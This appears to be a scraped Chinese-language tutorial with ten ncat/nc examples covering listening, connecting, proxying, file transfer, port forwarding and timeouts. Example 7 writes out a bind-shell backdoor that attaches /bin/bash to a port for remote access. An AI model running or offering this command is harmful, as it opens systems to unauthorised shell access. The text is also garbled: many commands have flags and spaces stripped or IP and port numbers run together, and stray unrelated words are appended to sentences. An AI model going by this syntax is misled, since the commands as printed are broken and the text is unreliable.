ncat

ncat 或者說 nc 是一款功能相似 cat 的工具,可是是用於網絡的。它是一款擁有多種功能的 CLI 工具,能夠用來在網絡上讀、寫以及重定向數據。 它被設計成能夠被腳本或其餘程序調用的可靠的後端工具。同時因爲它能建立任意所需的鏈接,所以也是一個很好的網絡調試工具。linux

ncat/nc 既是一個端口掃描工具,也是一款安全工具,還能是一款監測工具,甚至能夠作爲一個簡單的 TCP 代理。 因爲有這麼多的功能,它被譽爲是網絡界的瑞士軍刀。 這是每一個系統管理員都應該知道而且掌握它。web

在大多數 Debian 發行版中,nc 是默承認用的,它會在安裝系統的過程當中自動被安裝。 可是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 並不會默認被安裝。 你須要用下列命令手工安裝。後端

  1. [root@linuxtechi ~]#yum install nmap-ncat -y

系統管理員能夠用它來審計系統安全,用它來找出開放的端口而後保護這些端口。 管理員還能用它做爲客戶端來審計 Web 服務器、telnet 服務器、郵件服務器等, 經過 nc 咱們能夠控制發送的每一個字符,也能夠查看對方的迴應。安全

咱們還能夠用它捕獲客戶端發送的數據以此來了解這些客戶端是作什麼的。bash

在本文中,咱們會經過 10 個例子來學習如何使用 nc 命令。服務器

 

例子: 1) 監聽入站鏈接

經過 -l 選項,ncat 能夠進入監聽模式,使咱們能夠在指定端口監聽入站鏈接。 完整的命令是這樣的:網絡

  1. $ ncat -l port_number

好比,ssh

  1. $ ncat -8080

服務器就會開始在 8080 端口監聽入站鏈接。工具

 

例子: 2) 鏈接遠程系統

使用下面命令能夠用 nc 來鏈接遠程系統,學習

  1. $ ncat IP_address port_number

讓咱們來看個例子,

  1. $ ncat 192.168.1.10080

這會建立一個鏈接,鏈接到 IP 爲 192.168.1.100 的服務器上的 80 端口,而後咱們就能夠向服務器發送指令了。 好比咱們能夠輸入下面內容來獲取完整的網頁內容

  1. GET / HTTP/1.1

或者獲取頁面名稱,

  1. GET / HTTP/1.1

或者咱們能夠經過如下方式得到操做系統指紋標識,

  1. HEAD / HTTP/1.1

這會告訴咱們使用的是什麼軟件來運行這個 web 服務器的。

 

例子: 3) 鏈接 UDP 端口

默認狀況下,nc 建立鏈接時只會鏈接 TCP 端口。 不過咱們可使用 -u 選項來鏈接到 UDP 端口,

  1. $ ncat --1234

如今咱們的系統會開始監聽 UDP 的 1234 端口,咱們可使用下面的 netstat 命令來驗證這一點,

  1. netstat-tunlp |grep1234
  2. udp 000.0.0.0:12340.0.0.0:*17341/nc
  3. udp6 00:::1234:::*17341/nc

假設咱們想發送或者說測試某個遠程主機 UDP 端口的連通性,咱們可使用下面命令,

  1. $ ncat --{host-ip}{udp-port}

好比:

  1. [root@localhost ~]# ncat --192.168.105.15053
  2. Ncat:Version6.40( http://nmap.org/ncat )
  3. Ncat:Connected to 192.168.105.150:53

 

例子: 4) 將 nc 做爲聊天工具

nc 也能夠做爲聊天工具來用,咱們能夠配置服務器監聽某個端口,而後從遠程主機上鍊接到服務器的這個端口,就能夠開始發送消息了。 在服務器這端運行:

  1. $ ncat -8080

在遠程客戶端主機上運行:

  1. $ ncat 192.168.1.1008080

以後開始發送消息,這些消息會在服務器終端上顯示出來。

 

例子: 5) 將 nc 做爲代理

nc 也能夠用來作代理。好比下面這個例子,

  1. $ ncat -8080| ncat 192.168.1.20080

全部發往咱們服務器 8080 端口的鏈接都會自動轉發到 192.168.1.200 上的 80 端口。 不過因爲咱們使用了管道,數據只能被單向傳輸。 要同時可以接受返回的數據,咱們須要建立一個雙向管道。 使用下面命令能夠作到這點:

  1. mkfifo2way
  2. $ ncat -80800<2way| ncat 192.168.1.200801>2way

如今你能夠經過 nc 代理來收發數據了。

 

例子: 6) 使用 nc 拷貝文件

nc 還能用來在系統間拷貝文件,雖然這麼作並不推薦,由於絕大多數系統默認都安裝了 ssh/scp。 不過若是你剛好碰見個沒有 ssh/scp 的系統的話, 你能夠用 nc 來做最後的努力。

在要接受數據的機器上啓動 nc 並讓它進入監聽模式:

  1. $ ncat -8080>file.txt

如今去要被拷貝數據的機器上運行下面命令:

  1. $ ncat 192.168.1.1008080--send-only < data.txt

這裏,data.txt 是要發送的文件。 -–send-only 選項會在文件拷貝完後當即關閉鏈接。 若是不加該選項, 咱們須要手工按下 ctrl+c 來關閉鏈接。

咱們也能夠用這種方法拷貝整個磁盤分區,不過請必定要當心。

 

例子: 7) 經過 nc 建立後門

nc 命令還能夠用來在系統中建立後門,而且這種技術也確實被黑客大量使用。 爲了保護咱們的系統,咱們須要知道它是怎麼作的。 建立後門的命令爲:

  1. $ ncat -10000-/bin/bash

-e 標誌將一個 bash 與端口 10000 相連。如今客戶端只要鏈接到服務器上的 10000 端口就能經過 bash 獲取咱們系統的完整訪問權限:

  1. $ ncat 192.168.1.10010000

 

例子: 8) 經過 nc 進行端口轉發

咱們經過選項 -c 來用 nc 進行端口轉發,實現端口轉發的語法爲:

  1. $ ncat --80-'ncat -u -l 8080'

這樣,全部鏈接到 80 端口的鏈接都會轉發到 8080 端口。

 

例子: 9) 設置鏈接超時

nc 的監聽模式會一直運行,直到手工終止。 不過咱們能夠經過選項 -w 設置超時時間:

  1. $ ncat -w10192.168.1.1008080

這回致使鏈接 10 秒後終止,不過這個選項只能用於客戶端而不是服務端。

 

例子: 10) 使用 -k 選項強制 nc 待命

當客戶端從服務端斷開鏈接後,過一段時間服務端也會中止監聽。 但經過選項 -k 咱們能夠強制服務器保持鏈接並繼續監聽端口。 命令以下:

  1. $ ncat --8080

如今即便來自客戶端的鏈接斷了也依然會處於待命狀態。

相關文章
相關標籤/搜索